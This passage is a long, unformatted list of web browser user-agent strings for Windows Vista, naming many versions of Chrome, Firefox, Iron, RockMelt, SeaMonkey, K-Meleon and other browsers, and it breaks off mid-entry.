(Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.280.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.46.126 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.58 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.518 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.0 Chrome/11.0.700.0 Safari/534.24 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/14183168.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/42721888.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/56984160.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/59178784.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/87693504.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/25200576.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/54535104.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/56316576.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/59022688.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/80224064.534 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.128 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.79 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.12) Gecko/20050915 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20060414 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.5) Gecko/20060912 Netscape/8.1.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.5) Gecko/20070321 Netscape/8.1.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.10pre) Gecko/20070207 Firefox/1.5.0.10pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.6) Gecko/20060730 K-Meleon/1.01 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.10) Gecko/20071116 K-Meleon/1.1.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071128 SeaMonkey/1.1.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080128 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080207 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.13) Gecko/20080326 Firefox/2.0.0.13 Flock/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080414 Firefox/2.0.0.14 Flock/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080915 Firefox/2.0.0.17 Flock/1.2.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mnenhy/0.7.5.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2) Gecko/20070222 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090403 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2pre) Gecko/20070221 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070801 Firefox/2.0 Wyzo/0.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070925 Firefox/2.0.0.7 Flock/0.9.1.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8) Gecko Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8b5) Gecko/20051019 Flock/0.4 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008051206 Firefox/3.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008051206 Firefox/3.0 MEGAUPLOAD 2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008061302 Firefox/3.0 Flock/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008071513 Minefield/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.2) Gecko/2008092122 Firefox/3.0.2 Flock/2.0b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008100719 Firefox/3.0.3 Flock/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/2.0.0.6 MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008112016 Firefox/3.0.4 Flock/2.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 FirePHP/0.2.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008121620 Firefox/3.0.5 Flock/2.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2009011615 Firefox/3.0.5 CometBird/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009021815 Firefox/3.0.6 CometBird/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009030821 Firefox/3.0.7 Orca/1.1 build 2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090615 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5 (.NET CLR 3.0.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090701 Firefox/3.5 Lunascape/5.1.2.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101130 MRA 5.4 (build 02647) Firefox/3.5.16 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1pre) Gecko/20090717 SeaMonkey/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.0.10 MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.0.6;MEGAUPLOAD 1.0 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1a1pre) Gecko/2008071403 Minefield/3.1a1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1a2pre) Gecko/2008072403 Minefield/3.1a2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2pre) Gecko/20081011 Minefield/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090305 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3pre) Gecko/20081204 Shiretoko/3.1b3pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3pre) Gecko/20081207 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090307 Shiretoko/3.1b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090311 Shiretoko/3.1b4pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090312 Firefox/3.1b4pre Lunascape/5.0.3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4pre) Gecko/20090312 Firefox/3.1b4pre Lunascape/5.0.5.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b5pre) Gecko/20090519 Shiretoko/3.5b5pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1pre) Gecko/20090516 Firefox/3.5pre Lunascape/5.1.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.10pre) Gecko/20100828 Namoroka/3.6.10pre Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 AskTbAD3/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.0.4, (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.15) Gecko/20110303 Lightning/1.0b2 Thunderbird/3.1.9 ThunderBrowse/3.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100405 Namoroka/3.6.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; 